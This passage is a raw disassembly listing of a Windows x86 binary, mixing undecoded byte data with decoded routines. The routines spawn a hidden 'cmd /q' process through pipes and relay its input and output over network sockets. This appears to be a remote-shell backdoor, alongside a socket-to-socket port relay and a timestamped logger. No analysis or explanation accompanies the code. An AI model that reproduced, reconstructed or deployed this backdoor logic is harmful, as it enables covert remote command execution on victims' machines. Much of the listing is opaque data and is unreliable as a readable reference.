2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0E5E89050h, 8B0225F3h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 18E89032h, 0EB022503h, 0FB1DE8EDh, 50900225h, 43422468h dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2670763h push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 2670763h nop push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26806D6h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 2750D95h nop sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 call near ptr 2670763h nop push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 26806D6h push 1 push dword ptr [esi+8] call near ptr 26F0A14h nop loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 call near ptr 2670763h nop push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 2670763h nop push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2651D2Ah test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 2651957h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2670763h push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2760000h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26E0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 25ECD7E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24FC0AE8h, 0E8EDEB02h dd 225F40Fh, 858D5090h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 2BE96BE8h db 2, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0F76DE800h dd 39900224h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2BE7CBE8h, 458D9002h dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0F6A5E890h, 8DFF0224h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 24F672E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2BE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h dd 3E8h, 0F351E890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 27601C7h nop lea eax, [ebp-114h] push 104h push eax nop call near ptr 2660AE4h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 